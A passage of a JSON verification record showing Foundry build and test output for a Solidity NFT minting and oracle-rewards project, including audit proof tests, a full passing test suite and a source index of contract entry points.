src/GodsOfIMDInhabitants.sol:458:13:\n    |\n458 |             uint256 next = block.number + 1;\n    |             ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n   --> src/GodsOfIMDInhabitants.sol:454:9:\n    |\n454 |         uint256 next = nextToReveal();\n    |         ^^^^^^^^^^^^\n\n\nRan 1 test for test/imd-proof-8e6d0ca5/Proof_2090b1ef868d.t.sol:RevealOrderTest\n[PASS] test_revealOrderDoesNotMintExtraDivines() (gas: 381366965)\nLogs:\n  Divines the owner took out of 100 reserved souls (deck: 10 in 1000, fair ~1): 1\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 140.01ms (139.44ms CPU time)\n\nRan 1 test suite in 140.48ms (140.01ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1450,"exitCode":0,"name":"proof f8c5c365f259","output":"Compiling 2 files with Solc 0.8.30\nSolc 0.8.30 finished in 890.28ms\nCompiler run successful with warnings:\nWarning (9302): Return value of low-level calls not used.\n  --> test/imd-proof-e248edf3/Proof_f8c5c365f259.t.sol:89:13:\n   |\n89 |             address(shrine).call(abi.encodeWithSignature(\n   |             ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (9302): Return value of low-level calls not used.\n  --> test/imd-proof-e248edf3/Proof_f8c5c365f259.t.sol:93:13:\n   |\n93 |             address(shrine).call(abi.encodeWithSignature(\"finalizeRewards(uint64)\", uint64(1)));\n   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (9302): Return value of low-level calls not used.\n  --> test/imd-proof-e248edf3/Proof_f8c5c365f259.t.sol:95:13:\n   |\n95 |             address(shrine).call(\n   |             ^ (Relevant source part starts here and spans across multiple lines).\n\n\nRan 1 test for test/imd-proof-e248edf3/Proof_f8c5c365f259.t.sol:RewardsQuestionUnboundTest\n[PASS] test_directorActivatesRewardsWithAnswerToUnrelatedQuestion() (gas: 460285)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.07ms (444.13µs CPU time)\n\nRan 1 test suite in 3.13ms (1.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1598,"exitCode":0,"name":"proof 01bb6567d337","output":"Compiling 2 files with Solc 0.8.30\nSolc 0.8.30 finished in 1.04s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-d4334975/Proof_01bb6567d337.t.sol:ForeignAnswerRecordTest\n[PASS] test_answerFromSomeoneElsesRequestMustNotSettleTheShrinesQuestion() (gas: 645556)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.34ms (618.45µs CPU time)\n\nRan 1 test suite in 2.79ms (1.34ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"73fafc4b854a2922e1b52162e278b66aea9e9055f999d08f56208165a1a97569","verifiedTreeHash":"82928d0806e70b0e6bcbaded00cfff049476d3fc","verifierVersion":"0.1.0+a490e3c0"},{"checks":[{"durationMs":7121,"exitCode":0,"name":"build","output":"Compiling 82 files with Solc 0.8.30\nSolc 0.8.30 finished in 7.00s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/GodsOfIMDInhabitants.sol:458:13:\n    |\n458 |             uint256 next = block.number + 1;\n    |             ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n   --> src/GodsOfIMDInhabitants.sol:454:9:\n    |\n454 |         uint256 next = nextToReveal();\n    |         ^^^^^^^^^^^^\n\nWarning (2018): Function state mutability can be restricted to view\n   --> test/Marks.t.sol:152:5:\n    |\n152 |     function test_noEarlyWaves() public {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":47996,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/audit/WeakPanelRecord.t.sol:WeakPanelRecordTest\n[PASS] test_aThreeSeatPanelCannotApproveARewardWeekAskedOfThirty() (gas: 408480)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.08ms (414.55µs CPU time)\n\nRan 6 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_constructorsGiveTheOwnerEverything() (gas: 52453)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 497057)\n[PASS] test_constructorsWireTheTwoContracts() (gas: 59727)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 75266)\n[PASS] test_onlyTheOwnerWires() (gas: 88595)\n[PASS] test_ownerWiringThenAFirstForgeSplitsThePrice() (gas: 748770)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.61ms (743.88µs CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsAFreshSignatureFromTheVectorKey() (gas: 231379)\n[PASS] test_acceptsTheProtocolSignatureUnderStipend() (gas: 264043)\n[PASS] test_callbackSelectorIsCanonical() (gas: 485)\n[PASS] test_digestMatchesTheProtocol() (gas: 10875)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.76ms (537.84µs CPU time)\n\nRan 1 test for test/audit/RevealReroll.t.sol:RevealRerollTest\n[PASS] test_theRevealBlockDoesNotChooseTheMark() (gas: 1142219)\nLogs:\n  mark when revealed at the chosen block: 0\n  mark when revealed at another block: 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.07ms (1.36ms CPU time)\n\nRan 3 tests for test/RevisionEdges.t.sol:RevealQueueEdgesTest\n[PASS] test_revealedSoulCannotBeRevealedAgainAndQueueEmpties() (gas: 490726)\n[PASS] test_staleBatchDrainsOneSoulPerReArm() (gas: 1047985)\nLogs:\n  blocks to drain 3 stale souls: 7\n\n[PASS] test_staleHeadBlocksFreshSoulsUntilReArmedAndRevealed() (gas: 839255)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.72ms (1.31ms CPU time)\n\nRan 12 tests for test/Shift.t.sol:ShiftTest\n[PASS] test_aNewTokenCanBeListedLater() (gas: 1153684)\n[PASS] test_aReferrerGetsFivePercent() (gas: 651129)\n[PASS] test_aSoulForTwoHundredThousandShift() (gas: 410907)\n[PASS] test_badSettingsAreRefused() (gas: 119256)\n[PASS] test_idsAreSharedWithForgesInImd() (gas: 1002281)\n[PASS] test_imdIsSharedAndShiftGoesToItsPayeeAlone() (gas: 934311)\n[PASS] test_needsTheTokenAllowance() (gas: 274196)\n[PASS] test_onlyInThePublicPhase() (gas: 141551)\n[PASS] test_shiftIsListedAtDeploy() (gas: 33589)\n[PASS] test_theOwnerSetsPriceCapBurnAndPayee() (gas: 1023825)\n[PASS] test_theWalletCapCountsBoth() (gas: 4493065)\n[PASS] test_withoutTheTokenOnThisChainItReverts() (gas: 214201)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 5.43ms (4.29ms CPU time)\n\nRan 6 tests for test/Caps.t.sol:CapsTest\n[PASS] test_cannotClaimSeerSlotsWithoutTheLeaf() (gas: 153889)\n[PASS] test_listSpotIsOneEarlySoulThenTwentyInAll() (gas: 4706957)\n[PASS] test_publicStopsAtTwenty() (gas: 4566694)\n[PASS] test_seerCapCountsEveryForge() (gas: 5771280)\n[PASS] test_seerForgesTwentyFiveAtFour() (gas: 6072385)\n[PASS] test_twentyPerWalletIsBuiltIn() (gas: 7680)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 16.37ms (13.12ms CPU time)\n\nRan 9 tests for test/Reserve.t.sol:ReserveTest\n[PASS] test_aReservedSoulCanBeGivenAway() (gas: 287079)\n[PASS] test_fiftyInOneTransactionFitsABlock() (gas: 12154982)\nLogs:\n  gas for 50 reserved souls: 6086589\n\n[PASS] test_manyInOneTransaction() (gas: 12250163)\n[PASS] test_onlyTheOwnerForgesReserved() (gas: 35178)\n[PASS] test_paidSoulsTakeIdsFromOne() (gas: 1115585)\n[PASS] test_reserveIsAHundredOfTheThousand() (gas: 20420)\n[PASS] test_reserveStopsAtAHundred() (gas: 16445045)\n[PASS] test_reservedIsFreeInAnyPhaseAndTakesTheLastIds() (gas: 447986)\n[PASS] test_reservedSoulsAreUniqueAndReveal() (gas: 424844)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 17.96ms (11.90ms CPU time)\n\nRan 11 tests for test/Bazaar.t.sol:BazaarTest\n[PASS] testFuzz_splitIsExact(uint256) (runs: 256, μ: 286577, ~: 288605)\nLogs:\n  Bound result 712721769742982909665\n\n[PASS] test_emitsPurchased() (gas: 139666)\n[PASS] test_itemsFollowTheTokenToItsNewOwner() (gas: 221076)\n[PASS] test_memorialSoulCannotBuy() (gas: 121519)\n[PASS] test_needsTheAllowance() (gas: 135932)\n[PASS] test_onlyTheOwnerMayBuy() (gas: 42991)\n[PASS] test_splitFollowsSetSplit() (gas: 212584)\n[PASS] test_splitIsExactWithRoundingDust() (gas: 285134)\n[PASS] test_splitIsExactlyTheForgeSplit() (gas: 285165)\n[PASS] test_unknownSoulReverts() (gas: 40196)\n[PASS] test_zeroAmountReverts() (gas: 44411)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 54.98ms (55.16ms CPU time)\n\nRan 4 tests for test/EthereumDeployment.t.sol:EthereumDeploymentTest\n[PASS] test_everyConstructorAddressRejectsZero() (gas: 466948)\n[PASS] test_exactEthereumArgumentsAndOwnerRoles() (gas: 133909)\n[PASS] test_factoryHasNoOwnerPowers() (gas: 65145)\n[PASS] test_runtimesMeetProtectedSizeAndOpcodeRules() (gas: 16453719)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 108.89ms (107.26ms CPU time)\n\nRan 1 test for test/OracleSecurity.t.sol:OracleCallbackGasTest\n[PASS] testFuzz_listDeliveryAndRecordRecovery(uint8,bool) (runs: 256, μ: 762171, ~: 845390)\nLogs:\n  Bound result 5\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 176.20ms (175.37ms CPU time)\n\nRan 5 tests for test/RevealOrder.t.sol:RevealForgeOrderTest\n[PASS] test_greedyRevealerCannotCollectDivines() (gas: 408046634)\n[PASS] test_nextToRevealFollowsForgeOrderAcrossIdRanges() (gas: 775831)\n[PASS] test_notYetRevealableStillRevertsNotRevealable() (gas: 275091)\n[PASS] test_referralSettersRespectListedForgeTokens() (gas: 256847)\n[PASS] test_revealManyInAnyListOrderGivesTheSameMarks() (gas: 8934972)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 233.82ms (237.50ms CPU time)\n\nRan 6 tests for test/RevisionEdges.t.sol:ShrineRevisionEdgesTest\n[PASS] testFuzz_issuedAtToleranceBoundary(uint32,bool) (runs: 1000, μ: 432761, ~: 470149)\nLogs:\n  Bound result 1\n\n[PASS] test_directorRelayOfAnUnpinnedQuestionIsNotPinnedNotRewards() (gas: 57985)\n[PASS] test_failedRewardsRequestCanOnlyBeCancelled() (gas: 682821)\n[PASS] test_orphanedRewardsRequestCannotSettleTheReproposedWeek() (gas: 1096207)\n[PASS] test_outsiderRelaysAreRefusedForEveryKind() (gas: 413465)\n[PASS] test_refusedRewardsCallbackLeavesTheRequestBoundAndPending() (gas: 817113)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 242.23ms (242.80ms CPU time)\n\nRan 15 tests for test/OracleSecurity.t.sol:OracleSecurityTest\n[PASS] testFuzz_panelFloorsApplyToEveryRelay(uint16,uint16,uint16) (runs: 256, μ: 366387, ~: 360728)\nLogs:\n  Bound result 7\n  Bound result 17\n  Bound result 10\n\n[PASS] test_agreementFloorIsIndependentOfQuorum() (gas: 380721)\n[PASS] test_callbackRejectsWrongSenderUnknownAndSettledRequests() (gas: 611215)\n[PASS] test_defaultPanelPolicy() (gas: 22706)\n[PASS] test_failureMovesNoFundsAndUnansweredRewardsCanBeCancelled() (gas: 616011)\n[PASS] test_falseAnswerIsStoredUnderStipendAndReleasesRewards() (gas: 676416)\n[PASS] test_invalidPanelPoliciesAndZeroActionRevert() (gas: 109684)\n[PASS] test_onlyOwnerSetsPolicyAndAction() (gas: 60228)\n[PASS] test_ownerCanRaisePolicyAndAcceptLargerPanel() (gas: 525080)\n[PASS] test_ownerMigratesRewardsActionAfterRetirement() (gas: 1728151)\n[PASS] test_ownerWithdrawsOnlyFreeBalance() (gas: 586449)\n[PASS] test_smallPanelCannotBypassWithEnoughAgreement() (gas: 347571)\n[PASS] test_threeSeatRelayCannotActivateOrRejectRewards() (gas: 741875)\n[PASS] test_unpinnedExpiredAndTamperedAnswersCannotSettle() (gas: 446227)\n[PASS] test_weakCallbackLeavesRequestPendingThenStrongCallbackSucceeds() (gas: 913978)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 246.81ms (187.80ms CPU time)\n\nRan 11 tests for test/OracleBoundaries.t.sol:OracleBoundariesTest\n[PASS] testFuzz_everyAttestationFieldIsAuthenticated(uint8) (runs: 1000, μ: 743794, ~: 745268)\nLogs:\n  Bound result 1\n\n[PASS] test_contractSignerChecksDigestAndSignatureAndRotationRevokesOldKey() (gas: 767310)\n[PASS] test_directorRotationAndAnchorsAreWriteOnce() (gas: 302648)\n[PASS] test_exactExpiryIsAcceptedButOneSecondLaterIsNot() (gas: 500108)\n[PASS] test_failedIntakePurchaseRollsBackPinsAndApproval() (gas: 161503)\n[PASS] test_groupCompletionDoesNotInventJudgmentsAndRelaysRemainAvailable() (gas: 2158532)\n[PASS] test_invalidOwnerSettingsAndDisabledRewards() (gas: 231961)\n[PASS] test_invalidQuestionBatchesAreAtomic() (gas: 240049)\n[PASS] test_ownerAndDirectorPrivilegesAreSeparate() (gas: 481797)\n[PASS] test_resultAndFailureCallbacksRejectWrongSendersAndUnknownIds() (gas: 417415)\n[PASS] test_signaturesCannotCrossConsumerOrDomainChain() (gas: 4707523)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 246.87ms (251.78ms CPU time)\n\nRan 7 tests for test/InhabitantsSecurity.t.sol:InhabitantsSecurityTest\n[PASS] testFuzz_copyCannotBlockAnyForgePath(bytes32,uint8) (runs: 256, μ: 637650, ~: 640515)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_staleRevealNeverDrawsFromKnownFallback(uint256,bytes32) (runs: 256, μ: 390800, ~: 391001)\nLogs:\n  Bound result 914140\n\n[PASS] test_duplicateCannotSwitchPaymentPathsOrBeResetByTransfer() (gas: 640604)\n[PASS] test_hashAt256BlocksStillReveals() (gas: 433872)\n[PASS] test_revealManyProcessesFreshAndStaleSoulsAndSkipsDuplicates() (gas: 1056182)\n[PASS] test_staleRevealRearmsAndLaterRevealsExactlyOnce() (gas: 636164)\n[PASS] test_zeroSoulStillRejectedBeforeNamespacing() (gas: 76678)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 246.98ms (395.52ms CPU time)\n\nRan 16 tests for test/RewardsStateMachine.t.sol:RewardsStateMachineTest\n[PASS] testFuzz_onlyCanonicalTrueActivatesRewards(uint8) (runs: 1000, μ: 876095, ~: 862938)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_partialClaimsThenExpireConserveAssets(uint96,uint96) (runs: 1000, μ: 1123162, ~: 1122994)\nLogs:\n  Bound result 7107467731349530\n  Bound result 404078046850695319\n\n[PASS] testFuzz_weekIdentifiersAndClaimsAreIndependent(uint64) (runs: 1000, μ: 1755236, ~: 1755850)\n[PASS] test_capUsesFreeBalanceAndCannotDoubleReserveAWeekOrQuestion() (gas: 925687)\n[PASS] test_expiryReleasesOnlyTheUnclaimedRemainderAtTheBoundary() (gas: 1137358)\n[PASS] test_failedRewardTransferRestoresClaimAndReservation() (gas: 1064659)\n[PASS] test_invalidClaimCannotConsumeAClaimOrTheReservation() (gas: 1061055)\n[PASS] test_invalidProposalInputsLeaveNoReservation() (gas: 182191)\n[PASS] test_noJudgmentCannotActivateOrRejectAndClaimRequiresActive() (gas: 569969)\n[PASS] test_ordinaryQuestionCannotSpendReservedRewards() (gas: 1327737)\n[PASS] test_recordedJudgmentPreventsTimeoutCancellation() (gas: 1142508)\n[PASS] test_reservingEverythingCannotSpendTheReservationOnTheFee() (gas: 307356)\n[PASS] test_timeoutBoundaryAndCancelledWeekCanBeReproposed() (gas: 898238)\n[PASS] test_twoLeafClaimsPayTheBeneficiaryAndProtectOtherWeeks() (gas: 1502704)\n[PASS] test_unpinBatchIsAtomicAndReleasesOnlyItsProposedWeek() (gas: 1350177)\n[PASS] test_validLeafCannotSpendMoreThanTheWeekReserved() (gas: 891405)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 247.32ms (739.66ms CPU time)\n\nRan 12 tests for test/InhabitantsFailures.t.sol:InhabitantsFailuresTest\n[PASS] testFuzz_forgeDistributesEveryWeiAcrossValidSplits(uint96,uint16,uint16,bool) (runs: 1000, μ: 845523, ~: 836780)\nLogs:\n  Bound result 276400916\n  Bound result 5792\n  Bound result 1668\n\n[PASS] testFuzz_latePaymentFailureRollsBackEveryMintPath(uint8) (runs: 1000, μ: 1329554, ~: 1317705)\nLogs:\n  Bound result 2\n\n[PASS] testFuzz_serviceCostIsCappedByThePayment(uint96,uint96,bool) (runs: 1000, μ: 556820, ~: 554778)\nLogs:\n  Bound result 2173316156168526\n  Bound result 376\n\n[PASS] test_allowlistRootChangesDoNotResetConsumedSlots() (gas: 825881)\n[PASS] test_approvalDoesNotGrantGameOwnerRightsAndMemorialIsPermanent() (gas: 805688)\n[PASS] test_invalidPayeesAndSplitLeaveTheOriginalConfigurationIntact() (gas: 383427)\n[PASS] test_metadataAndRoyaltiesRemainCompatibleWithTheirInterfaces() (gas: 597511)\n[PASS] test_oneWeiAndZeroPriceAreExact() (gas: 676190)\n[PASS] test_ownerControlsRejectEveryPlayerCall() (gas: 451384)\n[PASS] test_receiverCannotReenterForgeButOuterMintSucceeds() (gas: 937649)\n[PASS] test_rejectingReceiverRollsBackTransfersAndRegistration() (gas: 935572)\n[PASS] test_reservedBatchFailureDoesNotKeepEarlierMints() (gas: 465286)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 247.31ms (727.33ms CPU time)\n\nRan 6 tests for test/OracleBinding.t.sol:OracleBindingTest\n[PASS] test_answerToAnotherQuestionIsRefusedByTheCallback() (gas: 801814)\n[PASS] test_directorRelaysGroupAnswers() (gas: 724820)\n[PASS] test_foreignAnswerCannotPreemptRewardsThenOwnAnswerActivates() (gas: 873904)\n[PASS] test_futureDatedAttestationRefused() (gas: 595213)\n[PASS] test_outsiderCannotRelayAnyAnswer() (gas: 345027)\n[PASS] test_unpinnedRequestCannotSettleARepinnedQuestion() (gas: 765890)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 353.54ms (2.88ms CPU time)\n\nRan 6 tests for test/Marks.t.sol:MarksTest\n[PASS] test_cannotRevealBeforeTheHashExists() (gas: 509115)\n[PASS] test_everySoulDrawsWithTheSameOdds() (gas: 21397274)\n[PASS] test_fullDeckComesOutExactly() (gas: 279859997)\n[PASS] test_genesisRulesAreBuiltIn() (gas: 93772)\n[PASS] test_noEarlyWaves() (gas: 5627)\n[PASS] test_revealManySkipsWhatIsNotReady() (gas: 646615)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 353.62ms (366.44ms CPU time)\n\nRan 2 tests for test/invariant/RewardAccounting.t.sol:RewardAccountingInvariantTest\n[PASS]\nRewardAccountingInvariantTest invariants:\n[PASS] invariant_allFundedTokensAreAccountedFor\n[PASS] invariant_reservationsMatchEveryWeekAndRemainSolvent\n[PASS] invariant_validActionsDoNotSilentlyRevert\n RewardAccountingInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭-------------------------+---------------+-------+---------+----------╮\n| Contract                | Selector      | Calls | Reverts | Discards |\n+======================================================================+\n| RewardAccountingHandler | buyQuestions  | 2266  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | claimReward   | 2189  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | donate        | 2224  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | elapse        | 2195  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | expire        | 2232  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | failRequest   | 2288  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | propose       | 2193  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | recordVerdict | 2257  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | release       | 2292  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | settle        | 2271  | 0       | 0        |\n|-------------------------+---------------+-------+---------+----------|\n| RewardAccountingHandler | withdrawFree  | 2169  | 0       | 0        |\n╰-------------------------+---------------+-------+---------+----------╯\n\nLogs:\n  Bound result 100000000000000000000\n  Bound result 50000000000000000000\n  Bound result 256\n  Bound result 670264\n  Bound result 1\n  Bound result 3858947846\n  Bound result 962\n  Bound result 8\n  Bound result 787103\n  Bound result 3\n  Bound result 843\n  Bound result 5\n  Bound result 1\n  Bound result 7\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 2543\n  Bound result 12929855593582\n  Bound result 4\n  Bound result 1\n  Bound result 2\n  Bound result 13244\n  Bound result 1\n  Bound result 1\n  Bound result 0\n  Bound result 491380927575242097115\n  Bound result 5\n\n[PASS] test_handlerExercisesEveryRewardExitAndReproposal() (gas: 2878903)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 50000000000000000000\n  Bound result 50000000000000000000\n  Bound result 20000000000000000000\n  Bound result 1209600\n  Bound result 1296000\n  Bound result 1296000\n  Bound result 1296000\n  Bound result 17\n  Bound result 8\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.65s (9.64s CPU time)\n\nRan 2 tests for test/invariant/InhabitantsAccounting.t.sol:InhabitantsAccountingInvariantTest\n[PASS]\nInhabitantsAccountingInvariantTest invariants:\n[PASS] invariant_marksAreImmutableAndTheFixedDeckIsNeverOverdrawn\n[PASS] invariant_paymentsAndReferralCountersMatchTheLedger\n[PASS] invariant_revealHeadIsTheEarliestForgedUnrevealedSoul\n[PASS] invariant_supplyOwnershipAndSoulIdentityAreConserved\n[PASS] invariant_validActionsDoNotSilentlyRevert\n InhabitantsAccountingInvariantTest invariants (runs: 256, calls: 24576, reverts: 0)\n\n╭------------------------------+--------------+-------+---------+----------╮\n| Contract                     | Selector     | Calls | Reverts | Discards |\n+==========================================================================+\n| InhabitantsAccountingHandler | buyService   | 3466  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | forgeReserve | 3506  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | forgeSoul    | 3523  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | memorialize  | 3554  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | revealSoul   | 3534  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | setMintPhase | 3482  | 0       | 0        |\n|------------------------------+--------------+-------+---------+----------|\n| InhabitantsAccountingHandler | transferSoul | 3511  | 0       | 0        |\n╰------------------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 2\n  Bound result 27\n  Bound result 165\n  Bound result 1\n  Bound result 112\n  Bound result 3\n  Bound result 2\n  Bound result 1\n  Bound result 56\n  Bound result 6\n  Bound result 3\n  Bound result 1\n  Bound result 108\n  Bound result 1\n  Bound result 1\n  Bound result 3\n  Bound result 61\n  Bound result 1\n  Bound result 2\n  Bound result 32\n  Bound result 76\n  Bound result 67\n  Bound result 10\n  Bound result 3\n  Bound result 2\n  Bound result 2\n  Bound result 3\n  Bound result 2\n  Bound result 11\n  Bound result 3\n  Bound result 85\n  Bound result 76\n  Bound result 2\n  Bound result 2\n  Bound result 112\n\n[PASS] test_handlerExercisesTransfersMemorialsServicesAndStaleReveals() (gas: 4653237)\nLogs:\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 300\n  Bound result 2\n  Bound result 3\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 47.87s (47.87s CPU time)\n\nRan 22 test suites in 47.88s (60.33s CPU time): 146 tests passed, 0 failed, 0 skipped (146 total tests)\n","passed":true},{"durationMs":61,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"GodsOfIMDInhabitants.approve(address,uint256)\",\"GodsOfIMDInhabitants.commission(uint256,uint8,bytes32)\",\"GodsOfIMDInhabitants.forge(bytes32,address)\",\"GodsOfIMDInhabitants.forgeAllowlist(bytes32,address,uint256,bytes32[])\",\"GodsOfIMDInhabitants.forgeReserved(bytes32)\",\"GodsOfIMDInhabitants.forgeReservedMany(bytes32[])\",\"GodsOfIMDInhabitants.forgeWithToken(address,bytes32,address)\",\"GodsOfIMDInhabitants.petition(uint256,bytes32)\",\"GodsOfIMDInhabitants.purchase(uint256,bytes32,uint256)\",\"GodsOfIMDInhabitants.refresh(uint256)\",\"GodsOfIMDInhabitants.refreshAll()\",\"GodsOfIMDInhabitants.renounceOwnership()\",\"GodsOfIMDInhabitants.reveal(uint256)\",\"GodsOfIMDInhabitants.revealMany(uint256[])\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.safeTransferFrom(address,address,uint256,bytes)\",\"GodsOfIMDInhabitants.setAddresses(address,address)\",\"GodsOfIMDInhabitants.setAllowlistRoot(bytes32)\",\"GodsOfIMDInhabitants.setApprovalForAll(address,bool)\",\"GodsOfIMDInhabitants.setBaseURI(string)\",\"GodsOfIMDInhabitants.setForgeToken(address,uint256,uint256,uint16,address)\",\"GodsOfIMDInhabitants.setMaxPerWallet(uint256)\",\"GodsOfIMDInhabitants.setMemorial(uint256,bytes32)\",\"GodsOfIMDInhabitants.setOracleCost(uint256)\",\"GodsOfIMDInhabitants.setPayees((address,uint16)[])\",\"GodsOfIMDInhabitants.setPhase(uint8)\",\"GodsOfIMDInhabitants.setPrices(uint256,uint256,uint256,uint256)\",\"GodsOfIMDInhabitants.setReferralBps(uint16)\",\"GodsOfIMDInhabitants.setRoyalty(address,uint96)\",\"GodsOfIMDInhabitants.setSplit(uint16,uint16,(address,uint16)[])\",\"GodsOfIMDInhabitants.setSteward(address)\",\"GodsOfIMDInhabitants.transferFrom(address,address,uint256)\",\"GodsOfIMDInhabitants.transferOwnership(address)\",\"OracleShrine.anchor(uint64,bytes32,bytes32)\",\"OracleShrine.ask(bytes32,bytes,bytes32[],uint8)\",\"OracleShrine.askRewards(uint64,bytes32,uint256,bytes,bytes32)\",\"OracleShrine.cancelRewards(uint64)\",\"OracleShrine.claim(uint64,address,uint256,bytes32[])\",\"OracleShrine.expireRewards(uint64)\",\"OracleShrine.finalizeRewards(uint64)\",\"OracleShrine.onFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"OracleShrine.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.onResult(bytes32,bytes32,string)\",\"OracleShrine.record((bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"OracleShrine.rejectRewards(uint64)\",\"OracleShrine.renounceOwnership()\",\"OracleShrine.setDirector(address)\",\"OracleShrine.setIntake(address)\",\"OracleShrine.setMaxRewardBps(uint16)\",\"OracleShrine.setMinQuorum(uint16)\",\"OracleShrine.setPanelMinimums(uint16,uint16)\",\"OracleShrine.setPrice(uint256)\",\"OracleShrine.setRewardsAction(bytes32)\",\"OracleShrine.setSigner(address)\",\"OracleShrine.transferOwnership(address)\",\"OracleShrine.unpin(bytes32[])\",\"OracleShrine.withdraw(address,address,uint256)\"],\"files\":{\".gitignore\":3,\"ADAPTATION.md\":61,\"LICENSE\":21,\"README.md\":68,\"foundry.toml\":12,\"launch.json\":1,\"remappings.txt\":2,\"src/GodsOfIMDInhabitants.sol\":809,\"src/OracleShrine.sol\":701,\"src/interfaces/IIntake.sol\":21,\"test/Bazaar.t.sol\":180,\"test/Caps.t.sol\":139,\"test/EthereumDeployment.t.sol\":162,\"test/InhabitantsFailures.t.sol\":447,\"test/InhabitantsSecurity.t.sol\":186,\"test/Launch.t.sol\":126,\"test/Marks.t.sol\":156,\"test/OracleBinding.t.sol\":111,\"test/OracleBoundaries.t.sol\":283,\"test/OracleConformance.t.sol\":85,\"test/OracleSecurity.t.sol\":274,\"test/Reserve.t.sol\":167,\"test/RevealOrder.t.sol\":156,\"test/RevisionEdges.t.sol\":235,\"test/RewardsStateMachine.t.sol\":371,\"test/Shift.t.sol\":256,\"test/TESTING.md\":60,\"test/audit/RevealReroll.t.sol\":89,\"test/audit/WeakPanelRecord.t.sol\":107,\"test/helpers/OracleFixture.sol\":128,\"test/invariant/InhabitantsAccounting.t.sol\":440,\"test/invariant/RewardAccounting.t.sol\":379},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks 